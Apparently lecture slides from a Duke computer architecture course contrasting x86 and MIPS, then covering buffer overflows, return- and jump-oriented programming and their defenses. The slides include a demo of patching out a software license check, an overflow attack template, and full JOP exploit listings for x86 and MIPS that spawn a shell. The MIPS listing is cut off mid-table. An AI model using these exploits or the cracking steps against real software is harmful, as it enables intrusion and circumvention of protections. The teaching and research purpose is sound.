## Basic differences

<table>
<thead>
<tr>
<th></th>
<th>MIPS</th>
<th>Intel x86</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Now: 64-bit (Pentium 4’s in 2005)</td>
</tr>
<tr>
<td><strong>Design</strong></td>
<td>RISC</td>
<td>CISC</td>
</tr>
<tr>
<td><strong>ALU ops</strong></td>
<td>Register = Register ⊕ Register (3 operand)</td>
<td>Register ⊕ = &lt;Reg</td>
</tr>
<tr>
<td><strong>Registers</strong></td>
<td>32</td>
<td>8 (32-bit) or 16 (64-bit)</td>
</tr>
<tr>
<td><strong>Instruction size</strong></td>
<td>32-bit fixed</td>
<td>Variable: up to 15 <em>bytes</em>!</td>
</tr>
<tr>
<td><strong>Branching</strong></td>
<td>Condition in register (e.g. “slt”)</td>
<td>Condition codes set implicitly</td>
</tr>
<tr>
<td><strong>Endian</strong></td>
<td>Either (typically big)</td>
<td>Little</td>
</tr>
<tr>
<td><strong>Variants and extensions</strong></td>
<td>Just 32- vs. 64-bit, plus some graphics extensions in the 90s</td>
<td>A bajillion (x87, IA-32, MMX, 3DNow!, SSE, SSE2, PAE, x86-64, SSE3, SSE4, SSE5, AVX, AES, FMA)</td>
</tr>
<tr>
<td><strong>Market share</strong></td>
<td>Small but persistent (embedded)</td>
<td>80% server, similar for consumer (defection to ARM for mobile is recent)</td>
</tr>
</tbody>
</table>
64-bit x86 primer

- Registers:
  - General: `rax rbx rcx rdx rdi rsi r8 r9 .. r15`
  - Stack: `rsp rbp`
  - Instruction pointer: `rip`
- Complex instruction set
  - Instructions are variable-sized & unaligned
- Hardware-supported call stack
  - `call / ret`
  - Parameters in registers `{rdi, rsi, rdx, rcx, r8, r9}`, return value in `rax`
- Little-endian
- These slides use Intel-style assembly language (destination first)
  - GNU tools like `gcc` and `objdump` use AT&T syntax (destination last)

<table>
<thead>
<tr>
<th>Intel syntax</th>
<th>AT&amp;T syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>mov rax, 5</code></td>
<td><code>mov 5, %rax</code></td>
</tr>
<tr>
<td><code>mov [rbx], 6</code></td>
<td><code>mov 6, [%rbx]</code></td>
</tr>
<tr>
<td><code>add rax, rdi</code></td>
<td><code>add %rdi, %rax</code></td>
</tr>
<tr>
<td><code>push rax</code></td>
<td><code>push %rax</code></td>
</tr>
<tr>
<td><code>pop rsi</code></td>
<td><code>pop %rsi</code></td>
</tr>
<tr>
<td><code>call 0x12345678</code></td>
<td><code>call 0x12345678</code></td>
</tr>
<tr>
<td><code>ret</code></td>
<td><code>ret</code></td>
</tr>
<tr>
<td><code>jmp 0x87654321</code></td>
<td><code>jmp 0x87654321</code></td>
</tr>
<tr>
<td><code>jmp rax</code></td>
<td><code>jmp %rax</code></td>
</tr>
<tr>
<td><code>call rax</code></td>
<td><code>call %rax</code></td>
</tr>
</tbody>
</table>
Intel x86 instruction format

(a) Optional instruction prefixes

<table>
<thead>
<tr>
<th>Number of Bytes</th>
<th>0 or 1</th>
<th>0 or 1</th>
<th>0 or 1</th>
<th>0 or 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Instruction prefix</td>
<td>Address-size prefix</td>
<td>Operand-size prefix</td>
<td>Segment override</td>
<td></td>
</tr>
</tbody>
</table>

(b) General instruction format

<table>
<thead>
<tr>
<th>Number of Bytes</th>
<th>1 or 2</th>
<th>0 or 1</th>
<th>0 or 1</th>
<th>0, 1, 2, or 4</th>
<th>0, 1, 2, or 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpCode</td>
<td>Mod-R/M</td>
<td>SIB</td>
<td>Displacement</td>
<td>Immediate</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Mod</th>
<th>Reg/OpCode</th>
<th>R/M</th>
<th>Bits</th>
<th>SS</th>
<th>Index</th>
<th>Base</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>1</td>
</tr>
</tbody>
</table>
Map of x86 instruction opcodes by first byte

Figure from Fraunhofer FKIE

### x86 Opcode Structure and Instruction Overview

#### Prefix

- **Arithmetic & Logic**
- **Memory**
- **Stack**
- **Control Flow & Conditional**

#### General Opcode Structure

- **Element specification with bytes**
- **Bit structure**
- **Add/Subtract (0x0h, 0x8h)**
  - **Operand length bit**
- **Addressing modes**
- **Immediate Data**

#### Addressing Modes

- **Index (0) 0x0h 0x1h 0x2h 0x3h Index (1) 0x10h 0x11h**

- **Base Field**
- **Index Field**
- **Scale Field**

#### SIB Byte Structure

- **Base/Scale/Index**
- **Index (0) 0x0h 0x1h 0x2h 0x3h Index (1) 0x10h 0x11h**

- **SIB value = Index * Scale + Base**

Source: Intel x86 Instruction Set Reference

Opcodes table presentation inspired by work of Ange Albertini
## Intel x86 general-purpose registers (64-bit, simplified)

<table>
<thead>
<tr>
<th>64-bit register</th>
<th>Lower 32 bits</th>
<th>Lower 16 bits</th>
<th>Lower 8 bits</th>
</tr>
</thead>
<tbody>
<tr>
<td>rax</td>
<td>eax</td>
<td>ax</td>
<td>al</td>
</tr>
<tr>
<td>rbx</td>
<td>ebx</td>
<td>bx</td>
<td>bl</td>
</tr>
<tr>
<td>rcx</td>
<td>ecx</td>
<td>cx</td>
<td>cl</td>
</tr>
<tr>
<td>rdx</td>
<td>edx</td>
<td>dx</td>
<td>dl</td>
</tr>
<tr>
<td>rsi</td>
<td>esi</td>
<td>si</td>
<td>sil</td>
</tr>
<tr>
<td>rdi</td>
<td>edi</td>
<td>di</td>
<td>dil</td>
</tr>
<tr>
<td>rbp</td>
<td>ebp</td>
<td>bp</td>
<td>bpl</td>
</tr>
<tr>
<td>rsp</td>
<td>esp</td>
<td>sp</td>
<td>spl</td>
</tr>
<tr>
<td>r8</td>
<td>r8d</td>
<td>r8w</td>
<td>r8b</td>
</tr>
<tr>
<td>r9</td>
<td>r9d</td>
<td>r9w</td>
<td>r9b</td>
</tr>
<tr>
<td>r10</td>
<td>r10d</td>
<td>r10w</td>
<td>r10b</td>
</tr>
<tr>
<td>r11</td>
<td>r11d</td>
<td>r11w</td>
<td>r11b</td>
</tr>
<tr>
<td>r12</td>
<td>r12d</td>
<td>r12w</td>
<td>r12b</td>
</tr>
<tr>
<td>r13</td>
<td>r13d</td>
<td>r13w</td>
<td>r13b</td>
</tr>
<tr>
<td>r14</td>
<td>r14d</td>
<td>r14w</td>
<td>r14b</td>
</tr>
<tr>
<td>r15</td>
<td>r15d</td>
<td>r15w</td>
<td>r15b</td>
</tr>
</tbody>
</table>

Old-timey names from the 16-bit era

They didn’t bother giving dumb names when they added more registers during the move to 64-bit.
• Includes general purpose registers, plus a bunch of special purpose ones (floating point, MMX, etc.)
Memory accesses

• Can be *anywhere*
  • No separate “load word” instruction – almost any op can load/store!

• Location can be various *expressions* (not just “0($1)”):
  • \([ \text{disp} + \text{<REG>}*n ]\)
    ex: \([ 0x123 + 2*rax ]\)
  • \([ \text{<REG>} + \text{<REG>}*n ]\)
    ex: \([ \text{rbx} + 4*rax ]\)
  • \([ \text{disp} + \text{<REG>} + \text{<REG>}*n ]\)
    ex: \([ 0x123 + \text{rbx} + 8*rax ]\)

  • You get “0($1)” by doing \([0 + \text{rax}*1]\), which you can write as \([\text{rax}]\)

• All this handled in the MOD-R/M and SIB fields of instruction

• Imagine making the control unit for these instructions 👄
<table>
<thead>
<tr>
<th>Operation</th>
<th>MIPS code</th>
<th>Effect on MIPS</th>
<th>x86 code</th>
<th>Effect on x86</th>
</tr>
</thead>
<tbody>
<tr>
<td>Add registers</td>
<td>add $1, $2, $3</td>
<td>$1 = $2 + $3</td>
<td>add rax, rbx</td>
<td>$1 += $2</td>
</tr>
<tr>
<td>Add immediate</td>
<td>addi $1, $2, 50</td>
<td>$1 = $2 + 50</td>
<td>add rax, 50</td>
<td>$1 += 50</td>
</tr>
<tr>
<td>Load constant</td>
<td>li $1, 50</td>
<td>$1 = 50</td>
<td>mov rax, 50</td>
<td>rax = 50</td>
</tr>
<tr>
<td>Move among regs</td>
<td>move $1, $2</td>
<td>$1 = $2</td>
<td>mov rax, rbx</td>
<td>rax = rbx</td>
</tr>
<tr>
<td>Load word</td>
<td>lw $1, 4($2)</td>
<td>$1 = *(4+$2)</td>
<td>mov rax, [4+rbx]</td>
<td>rax = *(4+rbx)</td>
</tr>
<tr>
<td>Store word</td>
<td>sw $1, 4($2)</td>
<td>*(4+$2) = $1</td>
<td>mov [4+rbx], rax</td>
<td>*(4+rbx) = rax</td>
</tr>
<tr>
<td>Shift left</td>
<td>sll $1, $2, 3</td>
<td>$1 = $2 &lt;&lt; 3</td>
<td>sal rax, 3</td>
<td>rax &lt;&lt;= 3</td>
</tr>
<tr>
<td>Bitwise AND</td>
<td>and $1, $2, $3</td>
<td>$1 = $2 &amp; $3</td>
<td>and rax, rbx</td>
<td>rax &amp;= rbx</td>
</tr>
<tr>
<td>No-op</td>
<td>nop</td>
<td>-</td>
<td>nop</td>
<td>-</td>
</tr>
<tr>
<td>Conditional move</td>
<td>movn $1, $2, $3</td>
<td>if ($3) { $1=$2 }</td>
<td>test rcx</td>
<td>(Set condition flags based on ecx)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>cmovn rax, rbx</td>
<td>if (last_alu_op_is_nonzero) { rax=rbx }</td>
</tr>
<tr>
<td>Compare</td>
<td>slt $1, $2, $3</td>
<td>$1 = $2&lt;$3 ? 1 : 0</td>
<td>cmp rax, rbx</td>
<td>(Set condition flags based on rax-rbx)</td>
</tr>
<tr>
<td>Stack push</td>
<td>addi $sp, $sp, -4</td>
<td>SP-=4</td>
<td>push rcx</td>
<td>*SP = rcx ; SP-=4</td>
</tr>
<tr>
<td></td>
<td>sw $5, 0($sp)</td>
<td>*SP = $5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Jump</td>
<td>j label</td>
<td>PC = label</td>
<td>jmp label</td>
<td>PC = label</td>
</tr>
<tr>
<td>Function call</td>
<td>jal label</td>
<td>$ra = PC+4</td>
<td>call label</td>
<td>*SP = PC+len</td>
</tr>
<tr>
<td></td>
<td></td>
<td>PC = label</td>
<td></td>
<td>SP -= 4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>PC = label</td>
</tr>
<tr>
<td>Function return</td>
<td>jr $ra</td>
<td>PC = $ra</td>
<td>ret</td>
<td>PC = *SP</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>SP+=4</td>
</tr>
<tr>
<td>Branch if less than</td>
<td>slt $1, $2, $3</td>
<td>if ($2&lt;$3) PC=label</td>
<td>cmp rax, rbx</td>
<td>if (rax&lt;rbx) PC=label</td>
</tr>
<tr>
<td></td>
<td>bnez $1, label</td>
<td></td>
<td>jal label</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>if (rax&lt;rbx) PC=label</td>
</tr>
<tr>
<td>Request syscall</td>
<td>syscall</td>
<td>Requests kernel</td>
<td>syscall</td>
<td>Requests kernel</td>
</tr>
</tbody>
</table>

MIPS/x86 Rosetta Stone
<table>
<thead>
<tr>
<th>Task</th>
<th>x86 instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>Branch if last ALU op overflowed</td>
<td>jo label</td>
</tr>
<tr>
<td>Branch if last ALU op was even</td>
<td>jpe label</td>
</tr>
<tr>
<td>Swap two registers</td>
<td>xchg rax, rbx</td>
</tr>
<tr>
<td>Square root</td>
<td>fsqrt</td>
</tr>
<tr>
<td>Prefetch into cache</td>
<td>prefetchnta 64[esi]</td>
</tr>
<tr>
<td>Special prefix to do an instruction until the end of string (Kind of like “while(*p)”))</td>
<td>rep</td>
</tr>
<tr>
<td>Load constant pi</td>
<td>fldpi st(0)</td>
</tr>
<tr>
<td>Push all the registers to the stack at once</td>
<td>pushad</td>
</tr>
<tr>
<td>Decrement rcx and branch if not zero yet</td>
<td>loop label</td>
</tr>
<tr>
<td>Add multiple numbers at once (MMX) (Single Instruction, Multiple Data (SIMD))</td>
<td>addps xmm0, xmm1</td>
</tr>
<tr>
<td>Scan a string for a null (among other things) (Vastly accelerates strlen())</td>
<td>pcmpestri</td>
</tr>
<tr>
<td>Encrypt data using the AES algorithm</td>
<td>aesenc</td>
</tr>
</tbody>
</table>
List of all x86 instructions
Exploring a compiled x86 program

- Introducing hello.c
  - cat hello.c

- Compile to assembly language (and down to executable)
  - make
    - gcc -g -S -o hello.s hello.c
    - gcc -g -o hello hello.c

- View assembly language output
  - cat hello.s

- Disassemble binary to see compiled instructions
  - objdump -d hello

- Analyze hello using IDA Freeware

They’re gonna try to sell you the paid version of IDA Pro, but the older free version available here works just fine.
CAN WE USE THIS TO CRACK COMPILED SOFTWARE?????
DRAMATIC PAUSE

Please fill out the course survey

https://duke.evaluationkit.com/
Binary modification

- Introducing supercalc
  - ./supercalc
  - ./supercalc 2 3
  - ./supercalc 2 10

- Disassemble binary
  - objdump -d supercalc

- Analyze supercalc using IDA Pro

- Find the demo check code in IDA

- Identify **sections** of executable
  - ./objdump -h supercalc

- Find the code we care about in the binary file via hex editor

- Flatten all the check code into NOPs

- Disassemble, analyze, and test hacked binary
Diving into code injection and reuse attacks (not on exam)

Some slides originally by Anthony Wood, University of Virginia, for CS 851/551
(http://www.cs.virginia.edu/crab/injection.ppt)

Adapted by Tyler Bletsch, Duke University
What is a Buffer Overflow?

- **Intent**
  - Arbitrary code execution
    - Spawn a remote shell or infect with worm/virus
  - Denial of service

- **Steps**
  - Inject attack code into buffer
  - Redirect control flow to attack code
  - Execute attack code
Attack Possibilities

• Targets
  • Stack, heap, static area
  • Parameter modification (non-pointer data)
    • E.g., change parameters for existing call to `exec()`

• Injected code vs. existing code
• Absolute vs. relative address dependencies

• Related Attacks
  • Integer overflows, double-frees
  • Format-string attacks
Typical Address Space

From Dawn Song's RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt
Examples

- (In)famous: Morris worm (1988)
  - `gets()` in `fingerd`

- Code Red (2001)
  - MS IIS .ida vulnerability

- Blaster (2003)
  - MS DCOM RPC vulnerability

- Mplayer URL heap allocation (2004)
  % mplayer http://`perl -e 'print "\""x1024;\' `
```c
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);

    return 0;
}
```
Demo – normal execution

```
What is your name? Tyler
Tyler is cool.
```

```
What is your name? Tyler
Tyler is cool.
```
Demo – exploit

```bash
$ ./cool < attack

You clearly aren't cut out for C. How about I start you off on something more your speed...
```

```
100%[============================================================================================> ] 11,735,195   3.52M/s in 3.8s

2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
```
How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```
attack.asm

%define buffer_size 1024
%define buffer_ptr 0xbfffff2e4
%define extra 20

<<<< MACHINE CODE GOES HERE >>>>

; Pad out to rest of buffer size
times buffer_size-($-$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4  dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  • Overflowing a string copy? No nulls!
  • Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp

Note: this example was made on x86 32-bit, hence the 32-bit registers and constants.
Preventing Buffer Overflows

• Strategies
  • Detect and remove vulnerabilities (best)
  • Prevent code injection
  • Detect code injection
  • Prevent code execution

• Stages of intervention
  • Analyzing and compiling code
  • Linking objects into executable
  • Loading executable into memory
  • Running executable
Preventing Buffer Overflows

- Research projects
  - Splint - Check array bounds and pointers
  - RAD – check RA against copy
  - PointGuard – encrypt pointers
  - Liang et al. – Randomize system call numbers
  - RISE – Randomize instruction set

- Generally available techniques
  - Stackguard – put canary before RA
  - Libsafe – replace vulnerable library functions
  - Binary diversity – change code to slow worm propagation

- Generally deployed techniques
  - NX bit & W^X protection
  - Address Space Layout Randomization (ASLR)
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region locations**
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker’s expected work
  - Each failed attempt results in crash; at restart, randomization is different

- Counters:
  - Information leakage
    - Program reveals a pointer? Game over.
  - Derandomization attack [1]
    - Just keep trying!
    - 32-bit ASLR defeated in 216 seconds

---

Question: do we need malicious code to have malicious behavior?

No.

Code injection

Code reuse (!)

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  • Execute entire libc functions
  • Can chain using “esp lifters”
  • Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
• Straight-line code only?
  • Shown to be false by us, but that's another talk...
Arbitrary behavior with $W^X$?

- **Question:** do we need malicious **code** to have **arbitrary** malicious **behavior**? **No.**

- **Return-oriented programming (ROP)**

  - Chain together **gadgets**: tiny snippets of code ending in `ret`
  - Achieves Turing completeness
  - Demonstrated on x86, SPARC, ARM, z80, ...
    - Including on a deployed voting machine, which has a non-modifiable ROM
Return-oriented programming (ROP)

• Normal software:

• Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  
  ```
  pop rax; ret
  ```
  
  ```
  0x55555555
  ```
  
  `stack pointer`

- **Arithmetic**
  
  ```
  add rax, rbx; ret
  ```
  
  `stack pointer`

- **Control flow**
  
  ```
  pop rsp; ret
  ```
  
  `stack pointer`

- **Memory**
  
  ```
  mov rbx, [rax]; ret
  ```
  
  ```
  0x8070abcd
  ```
  
  `stack pointer`

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

• Shellcode
  • Zeroes part of memory
  • Sets registers
  • Does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender\(^1\) and others: maintain a shadow stack
  - DROP\(^2\) and DynIMA\(^3\): detect high frequency \texttt{rets}
  - Returnless\(^4\): Systematically eliminate all \texttt{rets}

- So now we're totally safe forever, right?
- **No**: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  - See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al.
    (covered in this deck if you’re curious)
BACKUP SLIDES
(not on exam)
Jump-oriented Programming
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender\cite{1} and others: maintain a shadow stack
  - DROP\cite{2} and DynIMA\cite{3}: detect high frequency \texttt{rets}
  - Returnless\cite{4}: Systematically eliminate all \texttt{rets}

So now we're totally safe forever, right?

No: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  - My research follows...
Jump-oriented programming (JOP)

- Instead of `ret`, use indirect jumps, e.g., `jmp eax`

- How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use jmp or call (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

![Frequency of control flow transfers instructions in glibc](image)
Availability of indirect jumps (2)

- However: x86 instructions are **unaligned**
- We can find **unintended** code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

```
81 c3 2a ff 10 00
```

```
call [eax]
```

- Very common, since they start with 0xFF, e.g.
  - -1 = 0xFFFFFFFF
  - -1000000 = 0xFFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  • Instead, as in ROP, scan & walk backwards
  • We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  • **Internal integrity:**
    • Gadget must not destroy its own jump target.
  • **Composability:**
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

- Dispatcher heuristic:
  - The gadget must act upon its own jump target register
  - Opcode can't be useless, e.g.: \texttt{inc}, \texttt{xchg}, \texttt{xor}, etc.
  - Opcodes that overwrite the register (e.g. \texttt{mov}) instead of modifying it (e.g. \texttt{add}) must be self-referential
    - \texttt{lea} edx, [eax+ebx] isn't going to advance anything
    - \texttt{lea} edx, [edx+esi] could work

- Find a dispatcher that uses uncommon registers
  \texttt{add ebp, edi}
  \texttt{jmp} [ebp-0x39]

- Functional gadgets found with similar heuristics
Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
  - Relies solely on the included libc
- Availability of gadgets (31,136 total): PLENTY
  - Dispatcher: 35 candidates
  - Load constant: 60 pop gadgets
  - Math/logic: 221 add, 129 sub, 112 or, 1191 xor, etc.
  - Memory: 150 mov loaders, 33 mov storers (and more)
  - Conditional branch: 333 short adc/sbb gadgets
  - Syscall: multiple gadget sequences
The vulnerable program

- Vulnerabilities
  - String overflow
  - Other buffer overflow
  - String format bug

- Targets
  - Return address
  - Function pointer
  - C++ Vtable
  - Setjmp buffer
    - Used for non-local gotos
    - Sets several registers, including esp and eip
The exploit code (high level)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `ret`:
The full exploit (1)

```
1 start:                  
2 ; Constants:           
3 libc: equ 0xb7e7f000 ; Base address of libc in memory
4 base: equ 0x804a000 ; Address where this buffer is loaded
5 base_mangled: equ 0x1d4011ee ; 0x804a000 = mangled address of this buffer
6 initializer_mangled: equ 0xc43ef491 ; 0xb7e81f7a = mangled address of initializer gadget
7 dispatcher: equ 0xb7fa4e9e ; Address of the dispatcher gadget
8 buffer_length: equ 0x100 ; Target program’s buffer size before the jmpbuf.
9 shell: equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
10 to_null: equ libc+0x7 ; Points to a null dword (0x00000000)

11 ; Start of the stack. Data read by initializer gadget "popa":
12 popa0_edi: dd -4            ; Delta for dispatcher; negative to avoid NULLS
13 popa0_esi: dd 0xaaaaaaaa      
14 popa0_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
15 popa0_esp: dd 0xaaaaaaaa      
16 popa0_ebx: dd base+to_dispatcher+0x3e; Jumpback for initializer (plus 0x3e)
17 popa0_edx: dd 0xaaaaaaaa      
18 popa0_ecx: dd 0xaaaaaaaa      
19 popa0_eax: dd 0xaaaaaaaa      

20 ; Data read by "popa" for the null-writer gadgets:
21 popal_edi: dd -4            ; Delta for dispatcher
22 popal_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
23 popal_ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
24 popal_esp: dd 0xaaaaaaaa      
25 popal_ebx: dd base+new_eax+0x7bc0000+1 ; Null-writer clears the 3 high bytes of future eax
26 popal_edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
27 popal_ecx: dd 0xaaaaaaaa      
28 popal_eax: dd -1            ; When we increment eax later, it becomes 0

29 ; Data read by "popa" to prepare for the system call:
30 popa2_edi: dd -4            ; Delta for dispatcher
31 popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
32 popa2_ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
33 popa2_esp: dd 0xaaaaaaaa      
34 popa2_ebx: dd shell          ; Syscall EBX = 1st execve arg (filename)
35 popa2_edx: dd to_null        ; Syscall EDX = 3rd execve arg (envp)
36 popa2_ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
37 popa2_eax: dd to_null        ; Swapped into ECX for syscall. 2nd execve arg (argv)
```
The full exploit (2)

```assembly
; End of stack, start of a general data region used in manual addressing
dd dispatcher ; Jumpback for "jmp [esi-0xf]"
times 0xB db 'X' ; Filler
esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
    dd dispatcher ; Jumpback for "jmp [esi+0x4]"
times 4 db 'Z' ; Filler
new_eax: dd 0x0E00000b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared

; End of the data region, the dispatch table is below (in reverse order)
g0a: dd 0xb7fe3419 ; sysenter
g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd libc+0x137375 ; popa ; cmc ; jmp far dword [ecx]
g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]
g_start: ; Start of the dispatch table, which is in reverse order.
times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer

; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
jmpbuf_cbx: dd 0xaaaaaaaa
jmpbuf_eax: dd 0xaaaaaaaa
jmpbuf_eax: dd 0xaaaaaaaa
jmpbuf_eax: dd 0xaaaaaaaa
jmpbuf_eax: dd base_mangled ; Redirect esp to this buffer for initializer’s "popa"
jmpbuf_eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
```
Discussion

• Can we automate building of JOP attacks?
  • Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?

• What defense measures can be developed which counter this attack?

A: Yes
The MIPS architecture

• MIPS: very different from x86
  • Fixed size, aligned instructions
    • No unintended code!
  • Position-independent code via indirect jumps
  • Delay slots
    • Instruction after a jump will always be executed

• We can deploy JOP on MIPS!
  • Use intended indirect jumps
    • Functionality bolstered by the effects of delay slots
  • Supports hypothesis that JOP is a general threat
MIPS exploit code (high level overview)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `jr ra`:

![Terminal output](image-url)
MIPS full exploit code (1)

```plaintext
; ===== CONSTANTS =====
#define libc 0x2aada000 ; Base address of libc in memory.
#define base 0x7fff780e ; Address where this buffer is loaded.
#define initializer libc+0x103d0c ; Initializer gadget (see table below for machine code).
#define dispatcher libc+0x63fc8 ; Dispatcher gadget (see table below for machine code).
#define buffer_length 0x100 ; Target program’s buffer size before the function pointer.
#define to_null libc+0x8 ; Points to a null word (0x00000000).
#define gp 0x4189d0 ; Value of the gp register.

; ===== GADGET MACHINE CODE =====

| initializer/pre-syscall gadget | dispatcher gadget | syscall gadget | gadget "g04"
|--------------------------------|-------------------|---------------|----------------
| lw v0,44(sp)                  | addu v0, a0, v0  | syscall       | sw a1,44(sp)   |
| lw t9,32(sp)                  | lw v1, 0(v0)     | lw t9,-27508(gp) | sw zero,24(sp) |
| lw a0,128(sp)                 | nop              | nop           | sw zero,28(sp) |
| lw a1,132(sp)                 | addu v1, v1, gp  | jalr t9       | addiu a1,sp,44 |
| lw a2,136(sp)                 | jr v1            | li a0,60      | jalr t9        |
| sw v0,16(sp)                  | nop              |               | addiu a3,sp,24 |
| jalr t9                       |                  |               |                |
| move a3,s8                    |                  |               |                |

; ===== ATTACK DATA =====

Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp points 24 bytes before the start of this buffer, so we start with some padding.
times 32-24 db 'x'
dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
times 44-36 db 'x' ; sp+36 (padding)
dd base + g_start ; sp+44 Sets v0 - offset
times 128-48 db 'x' ; sp+48 (padding)
dd -4 ; sp+128 Sets a0 - delta
dd 0xaaaaaaaa ; sp+132 Sets a1
dd 0xaaaaaaaa ; sp+136 Sets a2
dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
```
; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
; been advanced by 112 bytes, so it points 32 bytes before this point.
38 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
39 times 44-36 db ’x’ ; sp+36 (padding)
40 dd 0xdeadbeef ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
41 times 80-48 db ’x’ ; sp+48 (padding)
42 dd -4011 ; sp+80 The syscall number for "execve", negated.
43 times 128-84 db ’x’ ; sp+84 (padding)
44 dd base+shell_path ; sp+128 Sets a0
45 dd to_null ; sp+132 Sets a1
46 dd to_null ; sp+136 Sets a2
47
48 ; ===== DISPATCH TABLE =====
49 ; The dispatch table is in reverse order
